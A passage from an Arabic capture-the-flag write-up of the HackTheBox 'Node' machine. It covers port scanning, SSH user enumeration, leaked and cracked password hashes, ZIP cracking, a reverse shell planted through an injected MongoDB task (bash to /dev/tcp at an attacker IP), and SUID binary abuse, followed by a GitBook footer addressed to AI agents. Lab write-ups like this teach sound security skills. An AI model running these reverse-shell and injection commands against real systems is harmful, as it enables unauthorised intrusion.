> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md). # شرح Node HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * تسرب المعلومات * استكشاف واجهة API * كسر التجزئات * كسر ملف ZIP * تنزيل النسخة الاحتياطية - بيانات الاعتماد المخزنة * استكشاف MongoDB * حقن مهمة Mongo - حقن الأوامر (الانتقال بين المستخدمين) * استغلال ثنائي النسخة الاحتياطية SUID - تحليل ديناميكي {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts ```

/*/تحليل المنافذ المفتوحة باستخدام extractPorts (22.3000) //* استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,3000 10.10.10.58 -oN targeted ```

### **المنفذ 22 - SSH** نلاحظ أن الإصدار عرضة لتعداد المستخدمين لأنه أقدم من الإصدار 7.7. وهذا يتيح لك تجربة قائمة مستخدمين. باستخدام `searchsploit` للعثور على استغلال ```bash searchsploit -m linux/remote/45939.py ```

نستخدم هذا الاستغلال للتحقق مما إذا كان المستخدم صالحًا أم لا: ```bash python2.7 45939.py 10.10.10.58 root 2>/dev/null python2.7 45939.py 10.10.10.58 pepito 2>/dev/null ```

## المنفذ 3000 - HTTP نعثر على عدة مستخدمين محتملين: `tom`, `mark`, `rastating`.

استكشاف SSH باستخدام `45939.py` لاختبار المستخدمين: ```bash python2.7 45939.py 10.10.10.58 tom 2>/dev/null python2.7 45939.py 10.10.10.58 mark 2>/dev/null python2.7 45939.py 10.10.10.58 rastating 2>/dev/null ``` نلاحظ أن `tom` و `mark` هم مستخدمون صالحون.

### قائمة الأدلة: نستخدم `gobuster` لتعداد المجلدات على المنفذ 3000: ```bash gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861 ``` لم يتم العثور على معلومات مثيرة للاهتمام. ومع ذلك، من خلال استكشاف استعلامات الشبكة في Firefox، نجد `الأحدث` ملفًا يستدعي واجهة API.

### استكشاف واجهة API: تحتوي واجهة API على `/users` مسارًا يعيد معلومات حساسة، بما في ذلك تجزئات كلمات المرور لعدة مستخدمين:

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af` * `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240` * `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73` * `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

### كسر كلمات المرور: نستخدم `crackstation` لكسر كلمات مرور المستخدمين. {% embed url="" %}

كلمات المرور المفككة هي كما يلي: * `myP14ceAdm1nAcc0uNT` : `manchester` * `tom`: `spongebob` * `mark`: `snowflake`

تمكنا من الاتصال بالمستخدم `myP14ceAdm1nAcc0uNT` في لوحة الإدارة.

### تنزيل النسخة الاحتياطية: الـ `myP14ceAdm1nAcc0uNT` يسمح لنا المستخدم بتنزيل ملف نسخة احتياطية.

يحتوي الملف الذي تم تنزيله على سلسلة Base64.

نفك ترميزها إلى ملف ZIP: ```bash cat myplace.backup | base64 -d > myplace.zip ```

### القوة الغاشمة على ملف ZIP: **استخرج التجزئة باستخدام `zip2john`**: لذا سنستخدم zip2john لاستخراج التجزئة ```bash zip2john myplace.zip > hash ```

**تتبّع كلمة المرور باستخدام `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **النتيجة** : تم العثور على كلمة المرور - `magicword`

تمكنا من فك ضغط ملف ZIP، والذي يحتوي على نسخة احتياطية للموقع في `/var` الدليل.

### استكشاف `app.js`: في `app.js` الملف، نجد معلومات حساسة، بما في ذلك مستخدم (`mark`) وكلمة المرور المرتبطة به للوصول إلى قاعدة البيانات: * `mark` : `5AYRft73VtFpc84k`

#### اتصال SSH باستخدام `mark`: نستخدم المعلومات المسترجعة للاتصال عبر SSH بالمستخدم `mark`: ```bash ssh mark@10.10.10.58 ``` كلمة المرور: `5AYRft73VtFpc84k` أصبح لدينا الآن وصول إلى الجهاز الهدف.

## الانتقال إلى المستخدم Tom نحتاج الآن إلى الانتقال إلى المستخدم **tom**.

### الاتصال بقاعدة MongoDB بإلقاء نظرة على العمليات الحالية، نلاحظ أن **tom** يُشغِّل `app.js` ملفًا باستخدام Node.js.

يتصل هذا الملف بقاعدة بيانات `scheduler` باستخدام نفس بيانات الاعتماد الخاصة بالمستخدم **mark**.

للوصول إلى قاعدة البيانات، نستخدم **mark** بيانات الاعتماد: ```bash mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler ```

### شِل عكسي لـ MongoDB الـ `app.js` يقوم السكربت بتنفيذ أوامر النظام من مستندات MongoDB (عبر `doc.cmd`). وهذا يمثل ثغرة حرجة، إذ يمكن حقن أوامر عشوائية وتنفيذها.

للتأكد من قدرتنا على تنفيذ الأوامر عبر MongoDB **إنشاء خادم ويب محلي** على الجهاز المهاجم، شغّل خادم ويب لمراقبة الطلبات: ```bash python3 -m http.server 80 ``` **أدخل أمرًا اختباريًا في `المهام` المجموعة** في MongoDB، أدخل أمرًا ينفذ استعلام HTTP إلى جهازك المهاجم ```bash db.tasks.insert({ cmd: "curl http://10.10.14.30"}) ``` **مراقبة الطلبات** إذا رأيت استعلامًا في سجلات خادم الويب، فهذا يؤكد أن الأوامر تُنفَّذ.

ابدأ شِلًا عكسيًا. نضبط الاستماع على المنفذ 443 ```bash nc -nlvp 443 ``` #### ابدأ شِلًا عكسيًا **اضبط الاستماع على المنفذ 443** على الجهاز المهاجم: ```bash nc -nlvp 443 ``` **أدخل أمر الشِل العكسي** في MongoDB، أدخل أمرًا لإنشاء شِل عكسي: ```bash db.tasks.insert({ cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"}) ``` **اتصال ناجح** بمجرد تنفيذ الأمر، ستحصل على شِل تفاعلي على الجهاز الهدف تحت المستخدم **tom**.

#### تثبيت الطرفية ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### الراية user.txt :)

## تصعيد الامتيازات ### الثنائي SUID (النسخة الاحتياطية) للبحث عن الملفات التي تم تفعيل بت SUID عليها، يُستخدم الأمر التالي: ```bash find / -perm -4000 2>/dev/null ``` وهذا يتيح لنا العثور على ثنائي يُسمى `backup`.

مالك الثنائي هو `root`، مما يعني أنه يعمل بامتيازات المستخدم root.

عندما نحاول تشغيل هذا الثنائي مباشرةً، لا يحدث شيء. ولكن من خلال اختبار إدخالات مختلفة، نكتشف أنه يقبل سلسلة من ثلاثة أحرف مفصولة بمسافات، ما يكشف الدوال المتاحة: ```bash /usr/local/bin/backup a d g ```

من خلال النظر إلى `app.js` الملف، نجد معلومات حول استخدام الثنائي، بالإضافة إلى مفتاح مطلوب لتنفيذه. يوجد المفتاح في أعلى الملف.

لاستخدام الثنائي، نحتاج إلى توفير المفتاح، متبوعًا بمسار الدليل للحفظ. `45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root ``` ينتج عن ذلك مخرجات Base64.

يمكن فك ترميز مخرجات Base64 إلى ملف `.zip` باستخدام الأمر التالي: {% code overflow="wrap" %} ```bash echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip ``` {% endcode %}

ملف zip محمي بكلمة مرور. نستخدم كلمة المرور التي وجدناها سابقًا * كلمة المرور: `magicword` ومع ذلك، فإن `root.txt` الملف الموجود داخل الأرشيف هو طُعم (فخ استدراج).

### تحليل مفصّل باستخدام `ltrace` باستخدام `ltrace`، نلاحظ أن الثنائي يقارن المسار `/root` مع المسار المقدم في الوسيط. إذا تطابقت المسارات، يعرض رسمة كاريكاتورية ساخرة.

لتجاوز هذا الفحص، نشغّل الثنائي من الجذر (`/`) عبر طلب نسخة احتياطية من `root` ```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root ```

الإصدار الجديد أيضًا بصيغة Base64. نفك ترميزه للحصول على المحتوى النهائي: {% code overflow="wrap" %} ```bash echo "UEsDBAoAAAAAABGYKVoAAAAAAAAAAAAAAAAFABwAcm9vdC9VVAkAA9EcgGfqbIBndXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIANGDEUd/sK5kgwAAAJQAAAANABwAcm9vdC8ucHJvZmlsZVVUCQADGf7RVepsgGd1eAsAAQQAAAAABAAAAAD8r00Pw3PJzvStJe+DfzUN8UNUW9s/8c8gxkn6EbwYFjz6EhlqrWUgrE7OqsE9WqQ5px0gtdidq+HlM1/RkD9oFAvZq2hqDfFORRfDgUJkbsn99iSSc2gM+StxSVn+NwjTSJmnXOZ0NgrUUlL4pKssLirrSoQfcLHFKnm9iDACjDudg1BLBwh/sK5kgwAAAJQAAABQSwMECgAAAAAAGYkQVQAAAAAAAAAAAAAAAAwAHAByb290Ly5jYWNoZS9VVAkAAxLB+2LqbIBndXgLAAEEAAAAAAQAAAAAUEsDBAoACQAAADR8I0sAAAAADAAAAAAAAAAgABwAcm9vdC8uY2FjaGUvbW90ZC5sZWdhbC1kaXNwbGF5ZWRVVAkAA8MSrFnqbIBndXgLAAEEAAAAAAQAAAAAJAoQ4rlz0JUFN3WWUEsHCAAAAAAMAAAAAAAAAFBLAwQKAAkAAAARmClaSGwEni0AAAAhAAAADQAcAHJvb3Qvcm9vdC50eHRVVAkAA9EcgGfqbIBndXgLAAEEAAAAAAQAAAAAfA1LkIWwnmjKTmFRqOfoE3IHt89EPpr418bsZ2VnLwVbzA44q6MFmdvUToc6UEsHCEhsBJ4tAAAAIQAAAFBLAwQUAAkACADrkVZHveUQPpsFAAAiDAAADAAcAHJvb3QvLmJhc2hyY1VUCQADqRkpVupsgGd1eAsAAQQAAAAABAAAAACcusgPGzBu1aR0ycGsEGbM3hLEA25g4iIX9qy8FZzXBk5whq1x4immtlTtBKjJL9w9+XdxXp6Unx85xtUZ6BKW5aazvUiBKE+u0y0jmm9dj9w6RccdHoEbPQ5Kn4qrMYmm9OjIEszQImjLlVCeoGExP9sl+UE0qfLmo5cF0HASXeJGTxbmg66i+U/BaqbkGPukWhkGIcn8ilb4D37Gstv+qqw9HkmfcoLKLHAlF3wsCDvrXpEHZP2B8BsxThDYO/kq8kHjCWNY8pFi3GjkNmeNLxghw8PExfd54idgcOjys5sMkMtoVe9x2uUe0RcVse4Wp9wGmxWMRLhu+D5UhulkDHPh7vil6eZEcvWlbQYFXEzv7yGFpknDWFmRgmKDdxIWb9eC1/6zg7pVJ0y5LW3lRMEYMUrHSyzYYSN/9VJ2I+xqDew+yLEUBHeGDjGKOat78tolgknn3hNqn+AznYqu0PM9SicvtKbmRmLr68x50LtTRhowl8gJyfuJj7gcvAxPw8/w4EYQ06onIzR1p9+N2TdzKo/6rXHhbwGcVM6NIfICBvBe6UZCCPAQKMUFGiVm1oHmphZpCwXob2sNPZxdVKZtT/xev0zzTJQJy0WkDK8RqkdTyBhoMKQ8FNwy4W88x5vhGgkyXSsxBGGcMelDUh649JJTUS3OWvkhQMiXOxxkJuIVas+Kt006ouA3pNfTQVP/2ADKH7pxaqq6XdE+D6oOiib5xvwiWBG70lZlaCJPkcYiaLp5mGQAZ2qv6hsiIbdk9RjXKM/3nSGFZcIBCcCkcAtn2vxYEJDurtKTQx82yakOlLJIM7ECz1/4ORTvLUIcAPE2YHJpvUzkqGhUZIWTig8Yn+G7CPjAPAM0baBOVg2pKKMUxkAdmVkoMnuS8rpyrN9aCzfur8HwvTcEV+OX2pp2z4RD3ZfPcrw9c/fG1o6CEsC38rsgybINvjBUp45/LuP0HkgfZVK6iw+JHEA7FUDYGVAmZOlfyGCCVag9wjn+0DIZAuT40yryYCVZ5hQAyS9e73kZQ6Ym1m5F+cQIFQJ88wSVcUhURkaVRR45QeehukZOMDztossohjM6csdAoZE51gcjDYB+Eoa9GD4bbXqVsC88aiMsCPWeQ8ZagH08JO60kXkODXNSVjC39oB2Nl8ZkNJUx3yvnUsSpk9o+UmOVEIFhVOyaNdAosWO8mzWHoVgqpPOsKqyZ9LWd1963+Dvqf8qnALbsXwwkdTyosL6KZ4F48r+l7h8f8ZvY+wpsUxILREg6TyqbQhAdcGX1U0byyhyCIgGZbxiYi+N1ndZj3RKe/s+lJgpqaIbiWwtyf6uOIeAYjwhx2M6nPNrAF+NmTTA8My0Lk6ZI7LDwebyVM/ragkdijo0bKzjUBSFeO44ql6gw11ZKDvXWPg+lbmLD2juSYUk3xxaNSR1Hmzn2z+CewJn3VmoHzIFjBM0tvxXxGmpXkyTTzSEiiJ0UIc/8qlK55XJrTpgdTMKbJFcST/TzwEPbPYWN73OFVgjCjZcDyWxYLgFbQd8SFbNAKde+zkc0wX/taizM2ppl/u8uWG8PKigPgxBVqzQx/qDz3me57XqVmFh9ORh4vx+5bOO1VTZsDboYmylV2gbHE4I84aqbIfY0x04NEhV38bQHP5kRlL8lW4T4IYe/kpiBc0+7AIHLwHwmpEgFNyyRP2ODYXlgE9Ojn3/yGJpszsARpm0o2zgNmJmHFPGL0tEkVBzqrGDWtGUN342jbsz0tGYhLZciQfY1Azu7sbILKUNyk7pKgYK78ZTMzD+NXT8VoUfBm5zJOiCtqbPD8BTimyn14VZZT/2BZsvJDM6q/lg6iq3x68cXV9fs5TQS+lnNZnrWssePVhjBtojxOUMJgS19VifbMIgNObhDrkcHiZzcSJc5INOUEsHCL3lED6bBQAAIgwAAFBLAwQUAAkACADEZRFV4P5Up0QBAACFAgAADQAcAHJvb3QvLnZpbWluZm9VVAkAA//U/GLqbIBndXgLAAEEAAAAAAQAAAAAzhmGcDQwLbbMyTafvYljv0kedrRzkY1whYVqTJLfXGn++OHmVIPgnus2PL8JnEyAo8BG/V2MGxnn0DvfwPrLM2CzoYqmVgEsSXIca9gsentV+T3N6i2ssFFsIk4z0n+bpDx6btCKsm5DYertV0wGiZafvMLzUYapkrKlntJPhZc2TYufsJrDs/+YfJWeTrWcWcA9stapViNFwF1SAx1MnPu2fPTCORNdv13PZMaM+XPHaTFe+8rF0ZSbFA5u8UQZDxnbirXAtxqB4CMywIsv5o5iiTgBBCoDSjBYEgXtWXCsBIojcUcJzx18MdOfQJ4Wcs0595pgI6OuyKegstUG6wtNQ98B/rNZSFpUTFVPqthBcsvqww92GKgQdHGxCkdKHnu0wI93F8LzPZMoMIGRU4sk2FDO4iTMjaa2FskI6xjho3MkUEsHCOD+VKdEAQAAhQIAAFBLAwQKAAAAAAAZiRBVAAAAAAAAAAAAAAAACwAcAHJvb3QvLm5hbm8vVVQJAAMSwfti6myAZ3V4CwABBAAAAAAEAAAAAFBLAwQKAAkAAADGSjtL2e0fPBMAAAAHAAAAGQAcAHJvb3QvLm5hbm8vc2VhcmNoX2hpc3RvcnlVVAkAA7Nfy1nqbIBndXgLAAEEAAAAAAQAAAAAq0jJNibraa4Rijxr6RzeRAtviFBLBwjZ7R88EwAAAAcAAABQSwECHgMKAAAAAAARmClaAAAAAAAAAAAAAAAABQAYAAAAAAAAABAAwEEAAAAAcm9vdC9VVAUAA9EcgGd1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADRgxFHf7CuZIMAAACUAAAADQAYAAAAAAABAAAApIE/AAAAcm9vdC8ucHJvZmlsZVVUBQADGf7RVXV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAAMABgAAAAAAAAAEADAQRkBAAByb290Ly5jYWNoZS9VVAUAAxLB+2J1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAA0fCNLAAAAAAwAAAAAAAAAIAAYAAAAAAAAAAAApIFfAQAAcm9vdC8uY2FjaGUvbW90ZC5sZWdhbC1kaXNwbGF5ZWRVVAUAA8MSrFl1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAARmClaSGwEni0AAAAhAAAADQAYAAAAAAABAAAAoIHVAQAAcm9vdC9yb290LnR4dFVUBQAD0RyAZ3V4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIAOuRVke95RA+mwUAACIMAAAMABgAAAAAAAEAAACkgVkCAAByb290Ly5iYXNocmNVVAUAA6kZKVZ1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADEZRFV4P5Up0QBAACFAgAADQAYAAAAAAABAAAAgIFKCAAAcm9vdC8udmltaW5mb1VUBQAD/9T8YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAALABgAAAAAAAAAEADtQeUJAAByb290Ly5uYW5vL1VUBQADEsH7YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAAMZKO0vZ7R88EwAAAAcAAAAZABgAAAAAAAEAAACAgSoKAAByb290Ly5uYW5vL3NlYXJjaF9oaXN0b3J5VVQFAAOzX8tZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAJAAkA/gIAAKAKAAAAAA==" | base64 -d > root.zip ``` {% endcode %} ### العلم root.txt :) من خلال استخراج الملف النهائي، نصل إلى المحتوى المطلوب.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.